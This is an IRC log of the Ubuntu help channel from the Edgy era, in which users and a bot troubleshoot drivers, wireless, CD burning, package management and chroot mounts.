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foobarianlmosher, imho i would be prepared to fix X manually if i went through with it10:04
higii nbeed to go to Device Drivers- Networking support in "menuconfig"10:04
higiwhere is that?10:04
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eriscorogue780, what do you know from that list? and K3b does not detect that there is a blank disk in the drive... gnomebaker failed to load, GTK error, and whatever is "built in" to GNOME fails to find the blank disk as well10:04
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stefgkohr_: it's NTFS... ntfs3g is the name of the linux driver project which first made ntfs /writable/ with reasonable success10:04
JoshJtry apt-cache madison nvidia-glx and see what it says10:04
OrangeOrangehi guys .. it seems like i need to update my video driver.. it's intel 945(built in) however the intel.com site direct me to http://www.intellinuxgraphics.org/download.html ... wat do i do?10:04
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foobarianlmosher: what we will put up with for 3d acceleration :)10:04
JoshJif you get a ton of stuff showing up you definitely do not want to let it do that10:04
lmosherjerp, ok I'll save this for a weekend when I'm prepared to rebuild it and I don't need my laptop :)10:04
kane77why does aptitude want to fix some broken dependencies while apt-get is absolutely fine...10:04
kane77?10:04
bakertfoobarian, JoshJ, mnoir -- of course not long later after more than 8 hours the compile finished so I was able to reboot.  Thanks for your help!10:04
jmdc_I'm having wireless problems. I can see the network I want to connect to with iwlist, but I cannot connect to it. I've tried using the Connection Properties gui as well as manually checking /etc/network/interfaces and brining the interface up with ifup.10:05
rogue780erisco, what list?10:05
higii nbeed to go to Device Drivers- Networking support in "menuconfig". Where is that?10:05
BigToeSkyrail, what camera?  model?10:05
stefanI like this ubuntu.. very clever :)10:05
foobarianbakert: cool :)10:05
eriscorogue780, the one from df -h or whatever10:05
lmosheralright guys. thanks I'll hold off until I can deal w/ it. Cheers.10:05
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jerplmosher, use lupine's sever when you get to it.10:05
richardson183does anybody know how to make a scanner work through the parallel port?10:05
JoshJkane: i'm betting the same reason synaptic will want you to fix it10:05
jerpserver10:05
JoshJrichardson183 : try xsane maybe10:05
rogue780erisco, it just shows space remaining on all the different partitions10:05
kohr_stefg, so writing works? cause I figure i will probally be using this mainly from linux10:05
foobarianbakert: by the way, as i said before, 'kill -STOP <pid>; kill -CONT <pid>' seems to make the process immune to death of its controlling tty10:05
pike_jmdc_: iwconfig eth1 essid networkname; dhclient eth1  doesnt aquire an ipaddress?10:05
stefg!ntfs | kohr10:05
ubotukohr: To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions. For write access see !ntfs-3g or !fuse10:05
rogue780I was curious as to whether dd created a new file called /dev/cdrom0 instead of outputting through ti10:05
kane77JoshJ, but apt-get is fine...10:06
eriscorogue780, okay but that doesn't help me10:06
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rogue780and thus filling up your hard drive10:06
stefg!fuse10:06
ubotuThough it's still very unsafe, you can read about Ubuntu NTFS writing using fuse here: https://wiki.ubuntu.com/Lkraider/NtfsFuse10:06
SkyrailBigToe: Samsung Digimax A6, problem is it used to work, but it stopped working after my graphics card crashed causing me to restart the PC, I also had problems with my CD-Drives mounting, but they are fixed now...10:06
JoshJkane77 : i'm not sure apt-get searches for broken dependencies10:06
rogue780erisco, I'm outta ideas10:06
JoshJi don't know though, but that seems a logical explanation10:06
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richardson183Joshj:> tried it can't detect it I think it's because i'm using a parallel port instead of the usb port10:06
assasukassehi all, i have a problem with a package, when i open synaptic or update manager i get an error, internal error opening cache, xmms-alarm need to be reinstalled but i can't find a package10:06
assasukassewhat should i do10:06
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BigToeah, Skyrail10:06
kane77JoshJ, well it can fix it ( -f parameter)10:06
JoshJhm10:06
JoshJyeah good point10:06
JoshJprobably isn't that10:06
BigToeSkyrail, then I can't help you :(10:06
eriscorogue780 and all I wanted to do was upgrade OS's. I am kind of ticked at this :P Not your fault, actually thanks for giving it your best shot10:06
stefgi might add that i consider writing to ntfs safe.. i have my backups, but never needed them up to now10:06
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foobarianbakert: screen is still a lot nicer and more useful10:06
JoshJi'll agree with stefg on this one10:07
jmdc_pike, I've been setting the essid and wpa password in /etc/network/interfaces and using ifup instead of that, but no, I'm not getting an IP.10:07
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rogue780erisco, no prob. can you read cds though?10:07
kane77JoshJ, synaptic is fine...10:07
JoshJkane77: dunno then, i suggest just not using aptitude then10:07
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SkyrailBigToe: ok :(10:07
eriscorogue780, I ripped audio CD's10:07
OrangeOrangehttp://www.intellinuxgraphics.org/download.html i need to somehow update my videocard driver... wat i do in this site to do that?10:07
eriscorogue780, the blank disks seem to be giving it the trouble...10:07
kohr_stefg, so writing works? cause I figure i will probally be using this mainly from linux10:07
rogue780erisco, don't be offended....it is a cd-rw drive right?10:08
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rogue780or dvd-rw10:08
kane77JoshJ, but I particularly like its auto removing of unused dependencies...10:08
JoshJwriting works, but you probably want to back up before doing it10:08
JoshJkane77 : apt-get autoremove does that10:08
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bakertfoobarian, what do you do, use screen in every gnome-terminal?  or just fire it up when you know in advance you are going to do that kind of thing?10:08
eriscorogue780, it writes CD's, yes. It will read DVD's as well, but I don't think it will write those10:08
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roxluhi !10:08
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roxludoes someone knows a good backup util? (maybe with a gui?)10:08
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foobarianbakert: not every, usually just one and then i run long-running things there, such as text bittorrent clients10:09
rogue780erisco, I know this is a windoze response....have you tried restarting?10:09
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JoshJroxlu: apt-cache search backup10:09
JoshJ!backup10:09
ubotuThere are many ways to back your system up. Here's a few: https://help.ubuntu.com/community/BackupYourSystem , https://help.ubuntu.com/community/DuplicityBackupHowto , https://wiki.ubuntu.com/HomeUserBackup , https://help.ubuntu.com/community/MondoMindi - See also !sbackup and !cloning10:09
stefgkohr_: think about having one big partition with ext3 or reiserfs, and only a relatively small ne for 'shared' files. My movie and music partiton is ntfs, btw. writing is abit slow from linux, but never ever a single problem10:09
bakertfoobarian, cool .. i'll look into it.10:09
JoshJthere are a LOT of backups10:09
richardson183JoshJ:> can you give me any suggestions on what to do?10:09
roxluthanx josh10:09
JoshJrichardson183 no idea what to do for your problem sorry, someone else might though10:09
eriscorogue780, actually windows has a hell of a time with the drive as well... apparently it recognizes the driver all right, but most of the time it will not detect ANY type of CD existing in it10:10
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foobarianbakert: for example, my current screen process has been running 151 days already10:10
eriscoroque780, I'd hate to think it was related though10:10
richardson183JoshJ:>thanks anyway10:10
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rogue780erisco, I'm going to vote that your drive is dying, and it may need a proper burial10:10
richardson183does anybody know how to make a scanner work through the parallel port?10:10
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Spaghetti_KnifeHi, I was just wondering, I have a folder named "K&R Section 1," and the terminal won't let me access it.10:10
BigToerichardson183, plug it in10:10
eriscoroque780, I really don't think it is though. Linux can read it fine, it is just these blank CDs10:10
richardson183bigtoe:>done that10:11
Spaghetti_KnifeI know it has something to do with the fact that it has spaces in its name.10:11
foobarianbakert: two other nice features: you can open multiple virtual ttys inside one screen session; and you can reattach to the screen session from anywhere.10:11
Spaghetti_Knifei just want to bypass that.10:11
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BigToeSpaghetti_Knife, type K& then type <tab>10:11
richardson183bigtoe:>everything it connected correctly10:11
jmdc_pike_, No, I don't get an IP.10:11
sneakumsSpaghetti_Knife: or use double quotes around the whole name10:11
jmdc_pike_, I just tried doing it your way directly10:11
BigToeSpaghetti_Knife, or put backwards slashes before the spaces (and maybe the &)10:12
eriscorogue780... oh god... it is my drive10:12
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eriscorogue780, this really isn't too good10:12
kohr_stefg what is the advantage of ext3?10:12
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richardson183bigtoe:>everything it connected correctly10:12
eriscorogue780, I sure the hell hope other things are not dying10:12
pike_jmdc_: ive never fooled with wpa sorry.10:12
rushfan2can someone answer two question about server?10:12
BigToehmm richardson183 :S10:12
eriscorogue780, ubuntu hasn't been able to shut down the computer properly10:12
BigToe!ask10:12
ubotuDon't ask to ask a question. Just ask your question :)10:12
rushfan2hello10:12
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Spaghetti_KnifeThanks, guys.10:13
Spaghetti_KnifeIt worked.10:13
assasukassei installed xmms-alarm from debian, that broke my synaptic, how can i get rid of it and rebuild the cache?10:13
eriscorogue780, and just like this cdrom drive.. it will rarely work10:13
rogue780erisco, tell me about your computer10:13
stefgkohr_: ext3 is linux native... no permission problems, no driver problems10:13
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eriscoroque780, I just stuck back in the CD's I ripped a few days earlier and now they cannot be read10:13
jmdc_pike_, Well, I just went into the access point and turned it off, and I didn't do any better10:13
pike_kohr_: just build a file server. you know you want to10:13
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BigToecan someone buy me a card reader and bluetooth dongle? thanks :P10:13
richardson183bigtoe:>I know i've racked my brain on this one10:13
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rushfan2sorry if someone answered I missed it, have 2 questions about ubuntu server.10:14
pike_JDStone: recent kernel upgrade?10:14
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BigToethe card reader would eliminate this camera problem, and the bluetooth dongle the phone one10:14
pike_jmdc_: ^ ?10:14
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foobarianstefg, reiserfs practically *murders* ext3 ;)10:14
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eriscorogue780.. well there it goes again though. I stuck in another one of the disks I ripped and now it reads it10:14
livingdaylightwho do i approach if i want Ubuntu to add an application in repositories?10:14
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eriscorogue780, in some ways I am uncertain to what is failing here10:14
pike_livingdaylight: what app?10:15
jmdc_pike_, I turned off the wpa, and it still didn't work.10:15
livingdaylightpike_, Songbird http://www.songbirdnest.com/10:15
killowndo anyone know any program simulator effects guitar?10:15
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richardson183bigtoe:>so....10:15
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pike_jmdc_: any recent upgrades?10:16
foobariankillown, i don't know by name, but there are a lot on the web, just google them10:16
eriscorogue780, now the light is going on the blank disk... but nothing is happening10:16
BigToerichardson183, I'm stuffed :(10:16
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richardson183bigtoe:>what do you mean10:16
jmdc_pike_, its a new computer. wireless with wpa worked at a friend's10:16
BigToerichardson183, I have no more ideas10:16
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richardson183bigtoe:>oh10:17
rogue780erisco, I say you try replacing the drive10:17
livingdaylightpike_, ?10:17
petafileCan someone please help me with my soundcard!!!10:17
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Dionysos22whats the command for checking your kernel version10:17
Dionysos22?10:17
livingdaylightDoes anyone know the process of requesting an application to be added to repositories?10:17
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jerpin Aptitude, in the terminal graphics interface, on the left margin, what does the capital A next to the lowercase i mean?   (I know the lowercase i means the package is 'installed')10:17
jribDionysos22: uname -r10:17
eriscorogue780, rofl. So I eject it, it takes a while... makes a few noises... and comes out. Then I stick it back in and try it over again. It is now burning right now10:17
Dionysos22thanks10:17
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JoshJlivingdaylight: what application is it?10:18
JoshJis it fully maintained?10:18
rogue780erisco, sweet10:18
livingdaylightpike_, you asked me a question10:18
jerpthere isn't a notation for a capital A in the man pages10:18
eriscorogue780, perhaps my cdrom drive has attitudes...10:18
JoshJetc.. i think #ubuntu-dev or devel is what you want10:18
livingdaylightJoshJ, Songbird http://www.songbirdnest.com/10:18
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JoshJboth work, actually10:18
eriscorogue780, it could have just been in a bad mood for a while. Same thing has happened on windows though10:18
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livingdaylightok10:18
richardson183does anybody else know how to make a scanner work through the parallel port?10:18
jribjerp: http://people.debian.org/~dburrows/aptitude-doc/en/ch02s02s02.html10:18
jerpthanks jrib10:18
eriscorogue780, I'll try CDs for a while and they wont work. I'll do some stuff for a while, come back to it, and now they are being read again10:18
pike_livingdaylight: let me play with it a bit10:18
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richardson183does anybody else know how to make a scanner work through the parallel port?10:19
msikmaHi there, does anyone know the apt command to find and repair dependency problems?10:19
eriscorogue780, I don't know if this is the drive or not. It sounds like it... but if it was truly failing then why does it randomly work... and why would it work at all?10:19
rogue780richardson183, have you looked up sane?10:19
JoshJrogue780 : i directed him to that when he first asked :\10:19
eriscorogue780, it is successfully writing at 6MB a second right now =\10:19
livingdaylightpike_, then take this useful link http://tinyurl.com/y6fwwu gives you a hack for creating the application menu for songbird10:19
rogue780erisco, because the digital gods are a pissy bunch, subject to PMS10:19
jmdc_pike_, Thanks for your time. I'm going to restart all the network related hardware (and sacrifice a goat to the random number god)10:20
richardson183rogue780:>as joshj said yes but still nothing10:20
eriscorogue780, haha10:20
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eriscorogue780, time for me to back things up and put 6.10 on this thing now!10:20
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rogue780richardson183, have you run xsane?10:21
eriscorogue780, maybe all my networking, computer shutdown, and CDrom troubles will melt away...10:21
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rogue780erisco, there's always hope10:21
eriscorogue780, ubuntu seems to randomly not be able see other computers on the network... so strange10:21
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richardson183rogue780:>yes but it can't find the scanner10:21
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eriscowell bye all! coming back with 6.10... the latest and greatest10:21
eriscono one release 6.15 on me, yet10:21
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un_operateurlittle does he know 7.04 is on it's way10:22
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Gokulhow do I install older version of some package via apt, for instance the latest version of mozilla-thunderbird that's available via apt is 1.5 or something, what do i do if i want to install one version older via apt?10:23
rat_poisonhello room, need help10:23
jribGokul: sudo aptitude install package=version10:23
rat_poisonI want to install alsa 1.0.14-rc110:23
un_operateurGokul, sudo aptitude install package=version_number10:23
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rat_poisonbut I'm a total linux noob10:23
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bob[1] hey all10:23
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crimsunrat_poison: so download the tarball from upstream and compile it. You'll need to install the 'build-essential' and 'linux-headers-$(uname -r)' packages using Synaptic first.10:24
bob[1] hey10:24
bob[1] how to change my nickname?10:24
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jribbob[1] : /nick foo10:24
JoshJ/nick newnick10:24
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rat_poisontarball already downloaded10:24
camerongthanks10:24
cameronga little bit of info about my problem:10:25
rat_poisonbut I don't know how to compile it to the kernel10:25
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camerongi burned the latest alternative install cd to give ubuntu a shot .. (im on windowsxp now)10:25
deorypjrib are you still around?10:25
camerongim installing the latest ubuntu.. and used to get a no screens found error.. so i changed my device to MESA in the xserver configuration file using "sudo nano /path" etc to edit and save it10:25
jribdeoryp: yes, what's up?10:25
camerongVESA* i mean10:25
deorypjrib i did the edgy upgrade, but now my nvidia driver has a version mismatch with the kernel10:26
camerongnow i get a new error:AddScreen/ScreenInit failed for driver 010:26
camerongXIO: fatal error 104 (connection reset by peer) [... and then some other stats were here, but they were all 0 and seemed relatively trivial] 10:26
camerongEND OF ERROR MESSAGE10:26
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dromer#ubuntu-nl10:26
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camerongnow i posted about this at ubuntuforums.org... but no one there seems able to help me!10:26
camerongim really hoping someone here will so that i can give ubuntu a shot10:26
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cameronganyone have any ideas?10:27
deorypjrib ... i am not sure what to do. i tried reinstalling the nvidia driver but apt claims it is the newest10:27
jribdeoryp: k, did you try:10:27
jrib!xconfig | deoryp10:27
ubotudeoryp: To reconfigure your X server, open a console and type "sudo dpkg-reconfigure xserver-xorg". To configure only the driver and resolution, type: "sudo dpkg-reconfigure xserver-xorg -phigh".10:27
cameronganyone know anything about my problem10:27
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camerong? im using a factory-built xps 400 from dell10:27
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cameronghttp://ubuntuforums.org/showthread.php?p=1986182 is the thread url10:29
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reverendnathanHello10:29
Lenaud01hi10:29
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reverendnathanI installed ubuntu VIA the alternitive CD, and it still does not recognise my mouse and keyboard!10:29
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reverendnathanThey are connect VIA PS/2, and everything else is go!10:30
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camerongcan anyone help me with my problem? ive been trying to fix it for days10:30
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stefgcamerong: http://ubuntuforums.org/showthread.php?t=306348&page=2 Google is your friend, btw10:30
toulousehey guys why cant the live cd connect to the internet?10:30
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deafboycan anyone help me configure my sound card?10:31
deafboyi have drivers installed10:31
toulouseor any live cd's  in general10:31
camerongstefg thanks im checking the link out now10:31
Lenaud01is it a setting in apache if I want to have a 2nd website that answers on a differnt port? example www.mysite.com (pulls up normal site) www.mysite.com:2083 (pulls up admin page)10:31
riotkittiei'm tempted to beat a copy of xorg.conf ... just so i can take it outside and beat it with a tire iron :\10:31
pike_reverendnathan: tried "sudo dpkg-reconfigure xserver-xorg" yet ?10:31
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Lenaud01toulouse I have gotten live cds to connect to the internet10:31
toulousehow man?10:31
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un_operateurLenaud01, you create a virtual site that listens on the different port10:31
pike_reverendnathan: wait doesnt recognize keyboard?10:31
Lenaud01just popped it in10:31
Lenaud01I used flax10:32
deafboyanyone have an hda-intel sound card?10:32
deorypjrib ok, restarting10:32
rat_poison<crimsun> I downloaded the necessary packages, how do I proceed?10:32
reverendnathanpike_ No... how any I supposed to type something without a keyboard?10:32
Lenaud01ubuntu im sure can do it10:32
toulouseLenaud01: which oh, i want to do this at my school10:32
Lenaud01I always just install ubuntu10:32
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Lenaud01since thats my fav os10:32
reverendnathanpike_: It only recoginized it in the install; thereafter, the support lifted10:32
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toulouseLenaud01: i can never get ubuntu to connect to the internet, i dunno why, after it's installed it does10:32
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jordo23un_operateur: Hey! IT WORKS!!!10:32
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pike_reverendnathan: 6.06 or 6.10?10:33
un_operateurjordo23,  :) nice10:33
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Lenaud01thanks un_operateur I will have to look up how to do that thanks for the info :)10:33
reverendnathanpike_ 6.10 I presume10:33
un_operateurjordo23, so no problemos so far at all?10:33
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un_operateurjordo23, thanks, that's much appreciated :)10:33
riotkittiewahhhhh.10:34
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jordo23un_operateur: Yeah.....a couple of freezes....something to do with X or the flash code coming in from certain websites, but for the most part works great10:34
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Lenaud01toulouse what happens when you run ifconfig in shell?10:34
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camerongstefg il try that advice now.. i sure hope it works!10:34
camerongthanks a bunch man10:34
riotkittiei give up on cloning my screen. ;\10:34
camerongil be back soon10:34
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deafboyanyone help with sound card por favor?10:34
deafboyi have drivers installed10:34
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un_operateurjordo23, that's good to hear -- now that the chroot is working well, you can put other 32 apps you want in it too :)10:34
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pike_reverendnathan: if its a fresh install might be easier to install 6.06 than fool with booting livecd and chrooting etc. 6.06 is the long term support version and is kept up to date10:35
NET||abusehey guys, i loaded up edgy on my laptop here, i used the oem install,, was that a bad move?10:35
pike_reverendnathan: what i use as well.10:35
riotkittieoem?10:35
JoshJwoem install of edgy?10:35
un_operateurjordo23, and i learnt a few things too .. so overall, it's a good thing :)10:35
JoshJo_O10:35
livingdaylightpike_, did you check it out?10:35
riotkittiedouble o_O10:36
NET||abuseyeh, eom install10:36
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JoshJwhat OEM is that?10:36
NET||abuseit's in the dvd boot menu10:36
Lenaud01anyone ever try beryl?10:36
JoshJ!beryl10:36
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ubotuBeryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-xgl10:36
astronouth7303how do I enable ACPI with a server kernel?10:36
jordo23un_operateur: may have had to do with Beryl10:36
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JoshJNET||abuse: what OEM did you get it from?10:36
theAdibwe have a VPN to out company that uses preshared keys. Actually there is a WinXP powertools configuration. Is there any tool in ubuntu that I can use?10:36
pike_livingdaylight: you might ask nice in #ubuntu-devel  seems like a reasonable app10:36
reverendnathanpike_ So... reinstall, just the terminal... sudo dpkg-reconfigure xserver-xorg ... then apt-get install gdm?10:36
NET||abuseoff linux format magazene :)10:36
NET||abusemagazine10:36
JoshJoh10:36
stefg!vpn10:36
ubotuFrom more information on vpn please refer to https://help.ubuntu.com/community/Gaming_VPN_Using_PPTPD10:36
JoshJit's probably just a slightly modified edgy disc10:36
JoshJi wouldn't really call it a mistake10:36
livingdaylightpike_, https://wiki.ubuntu.com/MOTU/Packages/New :|10:37
JoshJalthough if you're a free software zealot you probably would want to use something else instead of that10:37
pike_reverendnathan: use alternate 6.06 cd and just do the normal install10:37
NET||abuseyeh, suppose,, anyway,, i was thinking there'd be a first boot setup wizard or some such when i booted up10:37
JoshJmainly because of the fact that they may have preloaded apps you didn't want10:37
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JoshJthat said i suggest you /whois yourself and change that10:37
pike_livingdaylight: compiled it yet?10:37
un_operateurjordo23, errm, it should work .. but beryl might be a little tricky .. let us know how it works10:37
reverendnathanpike_: So you're saying there is a difference between 6.06 and 6.10?10:37
livingdaylightpike_, can't seem to register an account to be able to10:38
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astronouth7303and what's the difference between linux-server and linux-generic?10:38
riotkittiehahaha10:38
daedra6.06 = Long Term Support10:38
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JoshJlinux-server is for servers i imagine10:38
un_operateurdaedra, errm ,,, there's a non-LTS version of dapper too10:38
daedra6.06.110:38
daedrafffffine10:38
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pike_livingdaylight: ill play with source and see how it goes. youll want to submit it formally because i likely wont10:38
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kazukadoes anyone know how to sync the resolution of my GDM and my desktop?10:39
DabianHi.  I have a motherboard with onboard wlan.  How do I find out which driver I need to use?  lspci didn't seem to help me.  (I am using 6.10 of ubuntu)10:39
livingdaylightpike_, k, i'm really enjoying it here. It deserves it i think to be included in ubuntu repos. MOre stable than my banshee10:39
eternaljoyhi10:39
lunany help about this? http://ubuntuforums.org/showthread.php?t=33717010:39
stefg!fixres | kazuka10:39
ubotukazuka: The X Window System is the part of your system that's responsible for graphical output. To restart your X, type "sudo /etc/init.d/?dm restart" in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto10:39
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daedra!screen10:40
ubotuscreen is a terminal multiplexer. See http://www.kuro5hin.org/story/2004/3/9/16838/14935 and http://en.wikipedia.org/wiki/GNU_Screen10:40
Dabianmmm .. only questions..10:40
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un_operateurkazuka, gdm works at the best resolution it finds .. the desktop resultion you set is a per-user setting to allow different users to choose differently10:40
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kazukaoh ok10:41
alienseer23hello, how do I play a dvda in ubuntu?10:41
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alienseer23!dvda10:41
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hairulfr!gaim10:41
ubotuInstant Messenger Clients: Gaim (GNOME, http://help.ubuntu.com/community/GaimHowto), Kopete (KDE), both supporting MSN, Jabber, AIM, Gadu-Gadu, Novell Groupwise, ICQ and IRC.10:41
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ubotualienseer23: For playing DVD, see http://help.ubuntu.com/ubuntu/desktopguide/C/video.html - "libdvdcss" can be found at http://wiki.ubuntu.com/SeveasPackages10:41
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bob[1] hey im back10:42
bob[1] stefg thanks for your help so far10:42
jmdcI can see the wireless lan I want to connect to with iwlist, but I can't bring up the interface. Any ideas of things to try?10:42
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camerongim camerong btw, stefg10:42
Dabian!wireless10:42
ubotuWireless documentation can be found at https://help.ubuntu.com/community/WifiDocs10:42
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alienseer23I can play all sorts of dvd's, but this only has an audio ts folder...is there anything I can do?10:43
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camerongso i tried to do "sudo apt-get install xorg-driver-fglrx" but it said it couldnt find the fglrx driver?10:43
camerongany ideas?10:43
jordo23un_operateur: Sorry.....had phone call....it's my birthday!!10:43
un_operateurjordo23, hey, happy burfday dude .. have a blast :d10:43
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jordo23un_operateur: Tonight I am expecting to vomit.....or rather early tomorrow morning...10:44
jordo23:)10:44
un_operateurha ha ..10:44
HairyDudeI found some forum threads about flash and nspluginwrapper, so I installed the latter and tried to use it on the flash 9 plugin. but apparently the flash 9 plugin isn't a valid netscape plugin, is that right?10:44
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OrangeOrange!fixres10:44
ubotuThe X Window System is the part of your system that's responsible for graphical output. To restart your X, type "sudo /etc/init.d/?dm restart" in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto10:44
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msikmaHi there, does anyone know the apt command to find and repair dependency problems?10:44
jordo23un_operateur: Then only thing I have left to do is tell 32 bit Konq to find my /media dir right?10:44
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jribmsikma: apt-get install -f10:45
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juanca777_hi everyone, anyone knows where i ca get detailed information about the files and directories in "/proc"?10:45
jordo23un_operateur:  From what I remember this is done by editiing /etc/fstab10:45
un_operateurjordo23, errm, make a new fstab entry for it .. copy and modify one of the earlier 'bind' lines10:45
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un_operateurjordo23, yep, precisely10:45
jordo23un_operateur: And I do that inside chroot right?10:45
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camerongstefg or anyone else who was helping me eaerlier.. any ideas why icant get the driver-fglrx package and install it?10:45
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un_operateurjordo23, errm, no, outside the chroot ..10:45
Dabian!nforce510:45
ubotuSorry, I don't know anything about nforce5 - try searching on http://bots.ubuntulinux.nl/factoids.cgi10:45
deorypjrib i get this message from dmesg10:46
stefg!ati | camer10:46
ubotucamer: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto10:46
stefg!ati | camerong10:46
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ubotucamerong: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto10:46
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un_operateurjordo23, because you want mount outside the chroot to mount the directories inside the chroot .. processes inside the chroot cannot look outside that container10:46
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camerongthanks ubotu and stefg10:46
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konamsomeone knows how to make ubuntu mount the floppy disk automatically?10:46
stefg!ubotu10:46
ubotuI am ubotu, all-knowing infobot. You can browse my brain at http://bots.ubuntulinux.nl - Usage info: http://wiki.ubuntu.com/UbuntuBots10:46
camerongil look at that10:46
jordo23un_operateur: How do I edit the file?10:47
Dabiankonam : If its possible (with existing software), I guess automounter might be worth checking out.10:47
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jordo23un_operateur: Can't seem to  find it....10:47
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un_operateurjordo23, heh .. gksudo gedit /etc/fstab10:47
deorypjrib :API missmatch:client with # and API with a diffrent #. For nvidia10:47
un_operateurjordo23, make sure you are doing this outside the chroot tho10:47
konamDabian mmm, thanx, i gonna check it out10:47
jordo23un_operateur: If I am outside chroot wont it edit my main cfg's fstab? Or is that the intention?10:48
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jordo23un_operateur: Oh yeah.....found it....10:48
un_operateurjordo23, if you really think about it .. that is the intention :)10:48
xxhellHey guys10:48
hairulfrYes, thank you ubuntu - no other distro I've tried even comes10:48
hairulfrclose10:48
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jordo23un_operateur: is this the correct line to add then?  >>   /media /var/chroot/media none bind 0 010:49
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NET||abusephew,, into xchat, much neater for irc10:49
xxhellAnyone knows how i can have 1440x900 res on my nvidia 5200?10:49
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un_operateurjordo23, sounds good, yep :)10:49
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un_operateurjordo23, after you save the file .. make sure you do this -- sudo mount -a10:50
jerpxxhell, I got it when I finally load the latest driver10:50
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jordo23un_operateur: Then should I fire up konq?10:50
HairyDudeis there any possibility of running flash 9 on amd64 except in a chroot?10:50
davmor2Greatred is it widescreen10:50
un_operateurjordo23, yep .. :)10:50
jordo23un_operateur: What exactly is fstab anyways?10:51
jerpI sue an nvidia FX 560010:51
jerpuse10:51
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xxhelljerp, from where didi u download it? synaptic, nvidia?10:51
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jerpI believe the latest driver is usable for any card that has a digital port.  at nvidia 974610:52
jordo23un_operateur: I did that and can see the folders in my /media/sdb1 drive, but they all have locks over them. When clicked on they say they don't exist anymore....10:52
un_operateurjordo23, is that drive mounted in the chroot?10:52
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r0bbyubotu, error 1710:53
ubotuSorry, I don't know anything about error 17 - try searching on http://bots.ubuntulinux.nl/factoids.cgi10:53
jordo23un_operateur: I was assuming adding the line with /media in it would mount all....do I have to add separate lines for each drive?10:53
r0bbyubotu, grub10:53
ubotugrub is the default Ubuntu boot manager. Lost grub after installing windows: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows - Making GRUB floppies & other GRUB howtos: https://help.ubuntu.com/community/GrubHowto10:53
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un_operateurjordo23, if i werre you, i'd mount all the drives under media  by adding entries into fstab .. here's something that can generate the lines for you so you can copy and paste them in .. for i in `ls -1 /media`; do echo -e "/$i\t/var/chroot/media\tnone\tbind\t0\t0"; done10:53
r0bbyGAH10:53
jordo23un_operateur: There's only two....I'll just do it manually...10:54
un_operateurjordo23, TMTOWTDI :)10:54
davmor2r0bby can not mount selected partition10:54
stefgun_operateur: cool way of avaoding awk :-)10:54
un_operateurstefg, what's awk? :p10:55
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stefg!gawk10:55
ubotugawk: GNU awk, a pattern scanning and processing language. In component main, is optional. Version 1:3.1.5.dfsg-4 (edgy), package size 454 kB, installed size 1940 kB10:55
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un_operateur!mawk10:55
ubotumawk: a pattern scanning and text processing language. In component main, is required. Version 1.3.3-11ubuntu2 (edgy), package size 78 kB, installed size 228 kB10:55
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konfused!emacs10:55
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jordo23un_operateur: What the heck does that mean?  :)   It worked BTW...10:55
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un_operateurmawk sounds cooler .. takes up less space .. but is as equally as cumbersome as gawk10:56
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un_operateurjordo23, TMTOWDI -- there's more than one way to do it10:56
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Super_Polloshello, im a ubuntu/linux newbie and i recently tried Ubuntu with a live CD but when ubuntu left its loading screen my monitor tells me it sout of range, can anyone help?, I know this is a very basic issue10:57
msikmaSuper_Pollos: hmm, I see, that means it's loading a resolution that your monitor can't handle.10:57
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tweakismOK, how about this.  I need to make a CD, but it has to have a FAT12, 16, or 32 filesystem.  I only need to put one little file on it.  But I can't figure out how to make a fat fs image file.10:58
stefgmake that best-hyped10:58
Super_Pollosmy monitor can handle a max of 1280x1024 and a min of 640x48010:58
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jordo23stefg: True.....but for good reasons ! :)10:58
un_operateurthe only time i ever use awk is when i do something like --  aptitude search apache | grep -i ^i | awk '{print $2}'    to get a list of installed packages10:58
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msikmaSuper_Pollos: I'm not sure if it can be easily fixed from the Live CD before you boot up, but at the very least you can press CTRL+ALT+F1 to open up a text terminal.10:58
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un_operateurI cant be asked to read through aptitude's own documentation -- it's huge10:59
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msikmaFrom the text terminal, you could fix things up, but that's difficult for Linux beginners.10:59
phixnaydoes compiz work on amd64?10:59
stormchas3ranyone here good with lvm on a fresh install?10:59
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jerpteak, there is a program in synaptic that writes fat on floppies10:59
Super_Pollosis there a boot option becuase the live cd lets you specify boot options10:59
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jerptweak, there is a program in synaptic that writes fat on floppies10:59
squidlystormchas3r, whats up? I'm pretty good with lvm10:59
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Super_Pollosto change the resolution?10:59
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tweakismjerp: yes, but, it doesn't output to a file.10:59
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davmor2robber_baron yes but you may need to add the argb..... line to get window borders11:00
stormchas3rsquidly, i have 2 120gb drives i want as one,  i dont know how to do it in the partitioner11:00
phr34ckanyone knows from where I can get tcl-dev and tk-dev packages? I need them in order to install amsn 0.9611:00
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un_operateurphr34ck, is amsn a package in the ubuntu repositories?11:00
jerpOh, I must have misread your post11:00
squidlystormchas3r, well you need to make a lvm group and add both drives to the lvm group11:01
davmor2tyrion try hitting the auto button on your monitor11:01
||cwwhen ssh into my server and running apt-get, i'm getting "dpkg: dpkg - error: PATH is not set.", but "echo $PATH" shows a normal path.  is there some seperate config for apt?11:01
squidlystormchas3r, are you in the alternate install cd?11:01
phr34ckun_operateur, I downloaded it off the internet. It's a .tar.gz file and it requires those 2 packages in orderer to get installed.11:01
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stormchas3rsquidly, i am doing the server install11:01
stefg!tcl8.4-dev11:01
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ubotutcl8.4-dev: Tcl (the Tool Command Language) v8.4 - development files. In component main, is optional. Version 8.4.12-1.1 (edgy), package size 719 kB, installed size 2220 kB11:01
stefg!tcl8.3-dev11:01
ubotutcl8.3-dev: Tcl (the Tool Command Language) v8.3 - development files. In component main, is optional. Version 8.3.5-5 (edgy), package size 569 kB, installed size 1832 kB11:01
squidlystormchas3r, ahh ok, let me think..11:01
stefg!tcl8.0-dev11:02
stormchas3rsquidly, kk11:02
ubotutcl8.0-dev: Tcl (the Tool Command Language) v8.0 - development files. In component universe, is extra. Version 8.0.5-8.1 (edgy), package size 391 kB, installed size 1128 kB11:02
un_operateurphr34ck, sudo aptitude install tcl8.4-dev tk-dev11:02
phr34ckun_operateur, thanks.11:02
Jordan_UI have a .mov file that doesn't play correctly in VLC Xine Totem or Mplayer, it plays the first couple seconds then screws up11:02
